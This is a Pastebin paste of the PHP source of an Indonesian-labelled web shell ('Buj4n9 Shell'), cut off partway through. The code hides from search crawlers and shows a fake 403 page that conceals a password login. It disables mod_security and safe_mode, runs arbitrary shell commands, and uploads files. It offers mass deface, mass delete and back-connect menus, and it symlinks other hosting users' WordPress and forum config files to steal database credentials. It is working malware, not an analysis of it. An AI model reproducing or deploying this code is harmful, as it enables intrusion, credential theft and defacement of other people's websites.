Guest User

00000

a guest
Sep 2nd, 2018
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 284.12 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12. $auth_pass = "5058f1af8388633f609cadb75a75dc9d";
  13. /* Password : . */
  14. /* Login : http://webna.com/namashell.php?bujang=masuk */
  15. $errorforbidden = $_SERVER['REQUEST_URI'];
  16. $color = "#00ff00";
  17. $default_action = 'FilesMan';
  18. $default_use_ajax = true;
  19. $default_charset = 'UTF-8';
  20. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  21. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  22. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  23. header('HTTP/1.0 404 Not Found');
  24. exit;
  25. }
  26. }
  27.  
  28. function login_shell() {
  29. ?>
  30. <?php
  31. $errorforbidden = $_SERVER['REQUEST_URI'];
  32. ?>
  33. <html><head>
  34. <title>403 Forbidden</title>
  35. </head><body>
  36. <h1>Forbidden</h1>
  37. <p>You don't have permission to access <?php print $errorforbidden; ?>
  38. on this server.</p>
  39. <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
  40. </body></html>
  41. <?php
  42. echo "<center><form method='post' enctype='multipart/form-data'>
  43. <input type='file' name='dnl_file'>
  44. <input type='submit' name='upload' value='Upload'>
  45. </form>";
  46. $root = $_SERVER['DOCUMENT_ROOT'];
  47. $files = $_FILES['dnl_file']['name'];
  48. $dest = $root.'/'.$files;
  49. if(isset($_POST['upload'])) {
  50. if(is_writable($root)) {
  51. if(@copy($_FILES['dnl_file']['tmp_name'], $dest)) {
  52. $web = "http://".$_SERVER['HTTP_HOST']."/";
  53. echo "Sukses Upload -> <a href='$web$files' target='_blank'><b><u>$web/$files</u></b></a>";
  54. } else {
  55. echo "Gagal Upload Di Document Root.";
  56. }
  57. } else {
  58. if(@copy($_FILES['dnl_file']['tmp_name'], $files)) {
  59. echo "Sukses Upload <b>$path$files</b> di folder ini";
  60. } else {
  61. echo "Gagal Upload";
  62. }
  63. }
  64. }
  65. ?>
  66. <?php
  67. if($_GET['bujang'] == 'masuk')
  68. {
  69. echo '<br><center><form method="post">
  70. <input type="password" name="pass">
  71. </br></br><button>Login</button></form></center>';
  72. }
  73. ?>
  74. <?php
  75. exit;
  76. }
  77. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  78. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  79. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  80. else
  81. login_shell();
  82. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  83. @ob_clean();
  84. $file = $_GET['file'];
  85. header('Content-Description: File Transfer');
  86. header('Content-Type: application/octet-stream');
  87. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  88. header('Expires: 0');
  89. header('Cache-Control: must-revalidate');
  90. header('Pragma: public');
  91. header('Content-Length: ' . filesize($file));
  92. readfile($file);
  93. exit;
  94. }
  95. ?>
  96. <?php
  97. if (file_exists("php.ini")){
  98. }else{
  99. $img = fopen('php.ini', 'w');
  100. $sec = "safe_mode = OFF
  101. disable_funtions = NONE";
  102. fwrite($img ,$sec);
  103. fclose($img);}
  104. if (file_exists(".htaccess")){
  105. }else{
  106. $img2 = fopen('.htaccess', 'w');
  107. $sec2 = "<IfModule mod_security.c>
  108. SecFilterEngine Off
  109. SecFilterScanPOST Off
  110. </IfModule>";
  111. fwrite($img2 ,$sec2);
  112. fclose($img2);}
  113. $inids = @ini_get("disable_functions");
  114. $liatds = (!empty($ds)) ? "<font color='purple'>$inids</font>" : "<font color='white'>Aman cuk :v</font></b>";
  115. if(get_magic_quotes_gpc()){
  116. foreach($_POST as $key=>$value){
  117. $_POST[$key] = stripslashes($value);
  118. }
  119. }
  120. ?>
  121. <!DOCTYPE HTML>
  122. <html>
  123. <head>
  124. <title>{ Nekomiaw }</title>
  125. <link href='https://fonts.googleapis.com/css?family=Covered+By+Your+Grace' rel='stylesheet' type='text/css'>
  126. <link href="https://fonts.googleapis.com/css?family=Jolly+Lodger" rel="stylesheet" type="text/css">
  127. <link href="https://fonts.googleapis.com/css?family=Orbitron" rel="stylesheet" type="text/css">
  128. <link href="https://fonts.googleapis.com/css?family=VT323|New+Rocker" rel="stylesheet" type="text/css">
  129. <meta charset="UTF-8">
  130. <body bgcolor="black">
  131. <style>
  132. body {
  133. background-image:url("https://assets.hongkiat.com/uploads/anime-manga-wallpapers/sword-art-online.jpg");
  134. background-repeat: no-repeat;
  135. background-size: 100% 100%;
  136. }
  137. </style>
  138. <style type='text/css'>
  139. @import url(https://fonts.googleapis.com/css?family=Jolly+Lodger);
  140. @import url(https://fonts.googleapis.com/css?family=Covered+By+Your+Grace);
  141. @import url(https://fonts.googleapis.com/css?family=VT323|New+Rocker);
  142. @import url(https://fonts.googleapis.com/css?family=Orbitron);
  143. html {
  144. color: #ffffff;
  145. font-family: Covered By Your Grace;
  146. }
  147. li {
  148. display: inline;
  149. margin: 5px;
  150. padding: 5px;
  151. }
  152. table, th, td {
  153. border-collapse:collapse
  154. background: transparent;
  155. font-family: Covered By Your Grace;
  156. font-size: 15px;
  157. }
  158. .table_home, .th_home, .td_home {
  159. border: 1px solid #ffffff;
  160. }
  161. th {
  162. padding: 10px;
  163. }
  164. a {
  165. color: #ffffff;
  166. text-decoration: none;
  167. }
  168. a:hover {
  169. color: cyan;
  170. text-decoration: underline;
  171. }
  172. b {
  173. color: cyan;
  174. }
  175. input[type=text], input[type=password],input[type=submit] {
  176. background: transparent;
  177. color: #ffffff;
  178. border: 1px solid #ffffff;
  179. margin: 5px auto;
  180. padding-left: 5px;
  181. font-family: Covered By Your Grace;
  182. font-size: 13px;
  183. }
  184. textarea {
  185. width: 100%;
  186. height: 400px;
  187. }
  188. select {
  189. width: 152px;
  190. background: #000000;
  191. color: lime;
  192. border: 1px solid #ffffff;
  193. margin: 5px auto;
  194. padding-left: 5px;
  195. font-family: Covered By Your Grace;
  196. font-size: 13px;
  197. }
  198. option:hover {
  199. background: aqua;
  200. color: #000000;
  201. }
  202. .d3n0l {
  203. -moz-box-shadow:inset 0px 34px 0px -15px #0322e8;
  204. -webkit-box-shadow:inset 0px 34px 0px -15px #0322e8;
  205. box-shadow:inset 0px 34px 0px -15px #0322e8;
  206. background-color:#0322e8;
  207. border:1px solid #ff0000;
  208. display:inline-block;
  209. cursor:pointer;
  210. color:#ff0505;
  211. font-family: Covered By Your Grace;
  212. font-size:17px;
  213. font-weight:bold;
  214. padding:3px 9px;
  215. text-decoration:none;
  216. text-shadow:0px -1px 0px #0322e8;
  217. }
  218. </style>
  219. </head>
  220. <?php
  221. function w($dir,$perm) {
  222. if(!is_writable($dir)) {
  223. return "<font color=red>".$perm."</font>";
  224. } else {
  225. return "<font color=green>".$perm."</font>";
  226. }
  227. }
  228. function exe($cmd) {
  229. if(function_exists('system')) {
  230. @ob_start();
  231. @system($cmd);
  232. $buff = @ob_get_contents();
  233. @ob_end_clean();
  234. return $buff;
  235. } elseif(function_exists('exec')) {
  236. @exec($cmd,$results);
  237. $buff = "";
  238. foreach($results as $result) {
  239. $buff .= $result;
  240. } return $buff;
  241. } elseif(function_exists('passthru')) {
  242. @ob_start();
  243. @passthru($cmd);
  244. $buff = @ob_get_contents();
  245. @ob_end_clean();
  246. return $buff;
  247. } elseif(function_exists('shell_exec')) {
  248. $buff = @shell_exec($cmd);
  249. return $buff;
  250. }
  251. }
  252. function sulap($text) {
  253. if(!get_magic_quotes_gpc()) {
  254. return $text;
  255. }
  256. return stripslashes($text);
  257. }
  258. function GrabUrl($url,$type){
  259. $urlArray = array();
  260. $ch = curl_init();
  261. curl_setopt($ch, CURLOPT_URL, $url);
  262. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  263. $result = curl_exec($ch);
  264. $regex='|<a.*?href="(.*?)"|';
  265. preg_match_all($regex,$result,$parts);
  266. $links=$parts[1];
  267. foreach($links as $link){
  268. array_push($urlArray, $link);
  269. }
  270. curl_close($ch);
  271.  
  272. foreach($urlArray as $value){
  273. $lol="$url$value";
  274. if(preg_match("#$type#is", $lol)) {
  275. echo "$lol\r\n";
  276. }
  277. }
  278. }
  279. function showdisablefunctions() {
  280. if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>";
  281. }
  282. else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
  283. }
  284. function hdd($s) {
  285. if($s >= 1073741824)
  286. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  287. elseif($s >= 1048576)
  288. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  289. elseif($s >= 1024)
  290. return sprintf('%1.2f',$s / 1024 ) .' KB';
  291. else
  292. return $s .' B';
  293. }
  294. function ambilKata($param, $kata1, $kata2){
  295. if(strpos($param, $kata1) === FALSE) return FALSE;
  296. if(strpos($param, $kata2) === FALSE) return FALSE;
  297. $start = strpos($param, $kata1) + strlen($kata1);
  298. $end = strpos($param, $kata2, $start);
  299. $return = substr($param, $start, $end - $start);
  300. return $return;
  301. }
  302. function getsource($url) {
  303. $curl = curl_init($url);
  304. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  305. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  306. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  307. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
  308. $content = curl_exec($curl);
  309. curl_close($curl);
  310. return $content;
  311. }
  312. function bing($dork) {
  313. $npage = 1;
  314. $npages = 30000;
  315. $allLinks = array();
  316. $lll = array();
  317. while($npage <= $npages) {
  318. $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
  319. if($x) {
  320. preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  321. foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  322. $npage = $npage + 10;
  323. if (preg_match("(first=" . $npage . "&)siU", $x, $linksuiv) == 0) break;
  324. } else break;
  325. }
  326. $URLs = array();
  327. foreach($allLinks as $url){
  328. $exp = explode("/", $url);
  329. $URLs[] = $exp[2];
  330. }
  331. $array = array_filter($URLs);
  332. $array = array_unique($array);
  333. $sss = count(array_unique($array));
  334. foreach($array as $domain) {
  335. echo $domain."\n";
  336. }
  337. }
  338. function reverse($url) {
  339. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  340. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  341. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  342. curl_setopt($ch, CURLOPT_HEADER, 0);
  343. curl_setopt($ch, CURLOPT_POST, 1);
  344. $resp = curl_exec($ch);
  345. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  346. $array = explode(",,", $resp);
  347. unset($array[0]);
  348. foreach($array as $lnk) {
  349. $lnk = "http://$lnk";
  350. $lnk = str_replace(",", "", $lnk);
  351. echo $lnk."\n";
  352. ob_flush();
  353. flush();
  354. }
  355. curl_close($ch);
  356. }
  357. function perms($file){
  358. $perms = fileperms($file);
  359. if (($perms & 0xC000) == 0xC000) {
  360. // Socket
  361. $info = 's';
  362. } elseif (($perms & 0xA000) == 0xA000) {
  363. // Symbolic Link
  364. $info = 'l';
  365. } elseif (($perms & 0x8000) == 0x8000) {
  366. // Regular
  367. $info = '-';
  368. } elseif (($perms & 0x6000) == 0x6000) {
  369. // Block special
  370. $info = 'b';
  371. } elseif (($perms & 0x4000) == 0x4000) {
  372. // Directory
  373. $info = 'd';
  374. } elseif (($perms & 0x2000) == 0x2000) {
  375. // Character special
  376. $info = 'c';
  377. } elseif (($perms & 0x1000) == 0x1000) {
  378. // FIFO pipe
  379. $info = 'p';
  380. } else {
  381. // Unknown
  382. $info = 'u';
  383. }
  384.  
  385. // Owner
  386. $info .= (($perms & 0x0100) ? 'r' : '-');
  387. $info .= (($perms & 0x0080) ? 'w' : '-');
  388. $info .= (($perms & 0x0040) ?
  389. (($perms & 0x0800) ? 's' : 'x' ) :
  390. (($perms & 0x0800) ? 'S' : '-'));
  391.  
  392. // Group
  393. $info .= (($perms & 0x0020) ? 'r' : '-');
  394. $info .= (($perms & 0x0010) ? 'w' : '-');
  395. $info .= (($perms & 0x0008) ?
  396. (($perms & 0x0400) ? 's' : 'x' ) :
  397. (($perms & 0x0400) ? 'S' : '-'));
  398.  
  399. // World
  400. $info .= (($perms & 0x0004) ? 'r' : '-');
  401. $info .= (($perms & 0x0002) ? 'w' : '-');
  402. $info .= (($perms & 0x0001) ?
  403. (($perms & 0x0200) ? 't' : 'x' ) :
  404. (($perms & 0x0200) ? 'T' : '-'));
  405.  
  406. return $info;
  407. }
  408. $_c7e = 'WGFpIFN5bmRpY2F0ZQ==';
  409. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  410. if(isset($_GET['path'])){
  411. $path = $_GET['path'];
  412. }else{
  413. $path = getcwd();
  414. }
  415. $path = str_replace('\\','/',$path);
  416. $paths = explode('/',$path);
  417. $ds = @ini_get("disable_functions");
  418. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  419. $home_r = $_SERVER['DOCUMENT_ROOT'];
  420. if(get_magic_quotes_gpc()){
  421. foreach($_POST as $key=>$value){
  422. $_POST[$key] = stripslashes($value);
  423. }
  424. }
  425. echo "<center>";
  426. if($_POST['upload']) {
  427. if($_POST['tipe_upload'] == 'biasa') {
  428. if(@copy($_FILES['dnl_file']['tmp_name'], "$path/".$_FILES['dnl_file']['name']."")) {
  429. $act = "<font color=green>Uploaded!</font> at <i><b>$path/".$_FILES['dnl_file']['name']."</b></i>";
  430. } else {
  431. $act = "<font color=red>Failed to upload file</font>";
  432. }
  433. } else {
  434. $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['dnl_file']['name'];
  435. $web = $_SERVER['HTTP_HOST']."/".$_FILES['dnl_file']['name'];
  436. if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  437. if(@copy($_FILES['dnl_file']['tmp_name'], $root)) {
  438. $act = "<font color=green>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  439. } else {
  440. $act = "<font color=red>Failed to upload file</font>";
  441. }
  442. } else {
  443. $act = "<font color=red>Failed to upload file</font>";
  444. }
  445. }
  446. }
  447. echo '<br>
  448. <img src="http://i66.tinypic.com/33mo9le.gif" />
  449. <img src="https://2.bp.blogspot.com/-PWtU-tHtwS4/WdLYmZrua9I/AAAAAAAAECw/tDEkV7BDigs-kGcrP4Ww8ejsoq80PDhnwCLcBGAs/s400/LOGO%2BPANCASILA.png" />
  450. <img src="http://i66.tinypic.com/33mo9le.gif" />
  451. <br>
  452. <marquee width="100%" behavior="alternate" scrollamount="20">
  453. <font color="lime" face="Jolly Lodger" size="8">';
  454. echo "IP Anda : ".$_SERVER['REMOTE_ADDR']."<br>";
  455. echo '
  456. </font><br>
  457. </marquee><br>
  458. <font color="red">';
  459. echo "Disable Functions: $show_ds<br>";
  460. echo '<font color="cyan">Path : <font color="white">';
  461. foreach($paths as $id=>$pat){
  462. if($pat == '' && $id == 0){
  463. $a = true;
  464. echo '<a href="?path=/">/</a>';
  465. continue;
  466. }
  467. if($pat == '') continue;
  468. echo '<a href="?path=';
  469. for($i=0;$i<=$id;$i++){
  470. echo "$paths[$i]";
  471. if($i != $id) echo "/";
  472. }
  473. echo '">'.$pat.'</a>/';
  474. }
  475. echo "<center>
  476. <form method='POST' enctype='multipart/form-data'>
  477. <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($path,"Writeable")." ]
  478. <input type='radio' name='tipe_upload' value='home_root'>Home_Root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  479. </br>
  480. <input type='file' name='dnl_file'>
  481. <input type='submit' value='upload' name='upload'>
  482. </form>";
  483. echo "<center>";
  484. echo "</br><tr><td><form method='POST'><center></br>
  485. <font style='text-decoration: underline;'>root@".$_SERVER['REMOTE_ADDR'].";:~# </font>
  486. <input type='text' size='30' height='10' name='cmd'>
  487. <input type='submit' name='dnl_cmd' value='==>'>
  488. </form><center>";
  489. if($_POST['dnl_cmd']){
  490. echo "<pre>".exe($_POST['cmd'])."</pre>";
  491. }
  492. echo "</form>";
  493. echo "</td></tr>";
  494. echo $act;
  495. echo "
  496. <div id='menu'></div>
  497. <center></marquee>
  498. <ul>
  499. <font size='4'>
  500. <a href='?'><b><font color='cyan'>[ Home ]</b></a>
  501. <a href='?path=$path&bujang=about'><b><font color='yellow'>[ About ]</b></a>
  502. <a href='?path=$path&bujang=logout'><b><font color='red'>[ Log-Out ]</b></a>
  503. <br>
  504. <font color='white'>
  505. <a href='?path=$path&d3n0l=cmd'>[ Command ]</a>
  506. <a href='?path=$path&d3n0l=mass_deface'>[ Mass Deface ]</a>
  507. <a href='?path=$path&d3n0l=mass_delete'>[ Mass Delete ]</a>
  508. <a href='?path=$path&d3n0l=adminer'>[ Adminer ]</a>
  509. <a href='?path=$path&d3n0l=jumping'>[ Jumping ]</a>
  510. <a href='?path=$path&d3n0l=grabber'>[ Config V1 ]</a>
  511. <a href='?path=$path&d3n0l=cv2'>[ Config V2 ]</a>
  512. <a href='?path=$path&d3n0l=mailer'>[ Mailer ]</a>
  513. <a href='?path=$path&d3n0l=bejibun'>[ Fake Root ]</a>
  514. <a href='?path=$path&d3n0l=changer'>[ Changer User ]</a>
  515. <a href='?path=$path&backconnect=tool'>[ Back Connect ]</a>
  516. <a href='?path=$path&symlink=tool'>[ Symlink ]</a>
  517. <a href='?path=$path&d3n0l=zeep'>[ Zip Menu ]</a>
  518. <a href='?path=$path&bypass=tool'>[ Bypass ]</a>
  519. <a href='?path=$path&d3n0l=zone_h'>[ Zone-H ]</a>
  520. <a href='?path=$path&d3n0l=auto_dwp'>[ Auto Deface WP ]</a>
  521. <a href='?path=$path&d3n0l=csrf'>[ CSRF Online ]</a>
  522. <a href='?path=$path&d3n0l=def_id'>[ Defacer ID ]</a>
  523. <a href='?path=$path&d3n0l=endeco'>[ Encode Decode ]</a><br>
  524. </div></ul></div></center></font>";
  525. echo '</td></tr>';
  526. echo '</table>';
  527. if($_GET['bujang'] == 'logout'){
  528. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  529. echo "<script>window.location='?';</script>";
  530. } elseif($_GET['d3n0l'] == 'domains'){
  531. echo "<center><div class='mybox'><p align='center' class='cgx2'>Domains and Users</p>";
  532. $d0mains = @file("/etc/named.conf");
  533. if(!$d0mains){
  534. die("<center>Error : can't read [ /etc/named.conf ]</center>");
  535. }
  536. echo '<table id="output"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>';
  537. foreach($d0mains as $d0main){
  538. if(eregi("zone",$d0main)){
  539. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  540. flush();
  541. if(strlen(trim($domains[1][0])) > 2){
  542. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  543. echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a>
  544. </td><td>".$user['name']."</td></tr>";
  545. flush();
  546. }
  547. }
  548. }
  549. echo'</div></center>';
  550. } elseif($_GET['bujang'] == 'about'){
  551. echo '<center><font face="Covered By Your Grace">
  552. <h2>&lt;!----- Buj4n9 Shell -----!&gt;</h2><br>
  553. <h2>---------------------------------------------</h2><br>
  554. <h2>&lt; Recoded By Buj4ng /&gt;</h2><br>
  555. <h2>---------------------------------------------</h2><br>
  556. <h2<br>Kritik & Saran : <br></h2>
  557. <h2>bujangtech69@gmail.com<br></h2>
  558. </font></center>';
  559. } elseif($_GET['d3n0l'] == 'def_id'){
  560. echo "<center><form method='POST'>
  561. <u>Defacer</u>: <br>
  562. <input type='text' name='nick' size='50' placeholder='Byksw 69bit'><br>
  563. <u>Team</u>: <br>
  564. <input type='text' name='team' size='50' placeholder='Troll Hack Team'><br>
  565. <u>Domains</u>: <br>
  566. <textarea style='width: 450px; height: 150px;' name='target' placeholder='https://www.pesbuk.com'></textarea><br>
  567. <input type='submit' name='go' value='Submit' style='width: 450px;'>
  568. </form>";
  569. $site = explode("\r\n", $_POST['target']);
  570. $go = $_POST['go'];
  571. $nick = $_POST['nick'];
  572. $team = $_POST['team'];
  573. if($go){
  574. foreach($site as $target){
  575. $zh = $target;
  576. $form_url = "https://www.defacer.id/notify";
  577. $data_to_post = array();
  578. $data_to_post['attacker'] = "$nick";
  579. $data_to_post['team'] = "$team";
  580. $data_to_post['poc'] = 'SQL Injection';
  581. $data_to_post['url'] = "$zh";
  582. $curl = curl_init();
  583. curl_setopt($curl,CURLOPT_URL, $form_url);
  584. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  585. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  586. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  587. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  588. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  589. $result = curl_exec($curl);
  590. echo $result;
  591. curl_close($curl);
  592. echo "<br>";
  593. }
  594. }
  595. } elseif($_GET['d3n0l'] == 'cmd') {
  596. echo "<form method='post'>
  597. <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).": ~ $ </font>
  598. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='dnl_cmd' value='>>'>
  599. </form>";
  600. if($_POST['dnl_cmd']) {
  601. echo "<pre>".exe($_POST['cmd'])."</pre>";
  602. }
  603. } elseif($_GET['d3n0l'] == 'zeep') {
  604. echo "<center><h1>Zip Menu</h1>";
  605. function rmdir_recursive($dir) {
  606. foreach(scandir($dir) as $file) {
  607. if ('.' === $file || '..' === $file) continue;
  608. if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  609. else unlink("$dir/$file");
  610. }
  611. rmdir($dir);
  612. }
  613. if($_FILES["zip_file"]["name"]) {
  614. $filename = $_FILES["zip_file"]["name"];
  615. $source = $_FILES["zip_file"]["tmp_name"];
  616. $type = $_FILES["zip_file"]["type"];
  617. $name = explode(".", $filename);
  618. $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  619. foreach($accepted_types as $mime_type) {
  620. if($mime_type == $type) {
  621. $okay = true;
  622. break;
  623. }
  624. }
  625. $continue = strtolower($name[1]) == 'zip' ? true : false;
  626. if(!$continue) {
  627. $message = "Itu Bukan Zip , , GOBLOK COK";
  628. }
  629. $path = dirname(__FILE__).'/';
  630. $filenoext = basename ($filename, '.zip');
  631. $filenoext = basename ($filenoext, '.ZIP');
  632. $targetdir = $path . $filenoext;
  633. $targetzip = $path . $filename;
  634. if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
  635. mkdir($targetdir, 0777);
  636. if(move_uploaded_file($source, $targetzip)) {
  637. $zip = new ZipArchive();
  638. $x = $zip->open($targetzip);
  639. if ($x === true) {
  640. $zip->extractTo($targetdir);
  641. $zip->close();
  642.  
  643. unlink($targetzip);
  644. }
  645. $message = "<b>Sukses Gan :)</b>";
  646. } else {
  647. $message = "<b>Error Gan :(</b>";
  648. }
  649. }
  650. echo '<table style="width:100%" border="1">
  651. <tr><td><h2>Upload And Unzip</h2>
  652. <form enctype="multipart/form-data" method="post" action="">
  653. <label>Zip File : <input type="file" name="zip_file" /></label>
  654. <input type="submit" name="submit" value="Upload And Unzip" />
  655. </form>';
  656. if($message) echo "<p>$message</p>";
  657. echo "</td><td><h2>Zip Backup</h2>
  658. <form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br>
  659. <input type='text' name='dir' value='$path' style='width: 450px;' height='10'><br>
  660. <font style='text-decoration: underline;'>Save To:</font><br>
  661. <input type='text' name='save' value='$path/bt_backup.zip' style='width: 450px;' height='10'><br>
  662. <input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
  663. if($_POST['backup']){
  664. $save=$_POST['save'];
  665. function Zip($source, $destination)
  666. {
  667. if (extension_loaded('zip') === true)
  668. {
  669. if (file_exists($source) === true)
  670. {
  671. $zip = new ZipArchive();
  672. if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  673. {
  674. $source = realpath($source);
  675.  
  676. if (is_dir($source) === true)
  677. {
  678. $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  679. foreach ($files as $file)
  680. {
  681. $file = realpath($file);
  682. if (is_dir($file) === true)
  683. {
  684. $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  685. }
  686. else if (is_file($file) === true)
  687. {
  688. $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  689. }
  690. }
  691. }
  692. else if (is_file($source) === true)
  693. {
  694. $zip->addFromString(basename($source), file_get_contents($source));
  695. }
  696. }
  697. return $zip->close();
  698. }
  699. }
  700. return false;
  701. }
  702. Zip($_POST['dir'],$save);
  703. echo "Done , Save To <b>$save</b>";
  704. }
  705. echo "</td><td><h2>Unzip Manual</h2>
  706. <form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br>
  707. <input type='text' name='dir' value='$path/file.zip' style='width: 450px;' height='10'><br>
  708. <font style='text-decoration: underline;'>Save To:</font><br>
  709. <input type='text' name='save' value='$path/bt_unzip' style='width: 450px;' height='10'><br>
  710. <input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  711. if($_POST['extrak']){
  712. $save=$_POST['save'];
  713. $zip = new ZipArchive;
  714. $res = $zip->open($_POST['dir']);
  715. if ($res === TRUE) {
  716. $zip->extractTo($save);
  717. $zip->close();
  718. echo 'Succes , Location : <b>'.$save.'</b>';
  719. } else {
  720. echo 'Gagal Mas :( Ntahlah !';
  721. }
  722. }
  723. echo '</tr></table>';
  724. } elseif($_GET['d3n0l'] == 'cv2') {
  725. if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
  726. echo '<script>alert("Skid this won\'t work on Windows")</script>';
  727. exit;
  728. } else {
  729. if($_POST["m"] && !$_POST["passwd"]==""){
  730. @mkdir("tc_symconf", 0777);
  731. @chdir("tc_symconf");
  732. @symlink("/","root");
  733. $htaccess="
  734. Options Indexes FollowSymLinks
  735. DirectoryIndex 69.htm
  736. AddType text/plain .php
  737. AddHandler text/plain .php
  738. Satisfy Any";
  739. @file_put_contents(".htaccess",$htaccess);
  740. $etc_passwd=$_POST["passwd"];
  741. $etc_passwd=explode("\n",$etc_passwd);
  742. foreach($etc_passwd as $passwd){
  743. $pawd=explode(":",$passwd);
  744. $user =$pawd[0];
  745. @symlink('/','tc_symconf/root');
  746. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  747. @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  748. @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  749. @symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  750. @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  751. @symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  752. @symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  753. @symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  754. @symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  755. @symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  756. @symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  757. @symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  758. @symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  759. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  760. @symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  761. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  762. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  763. @symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  764. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  765. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  766. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  767. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
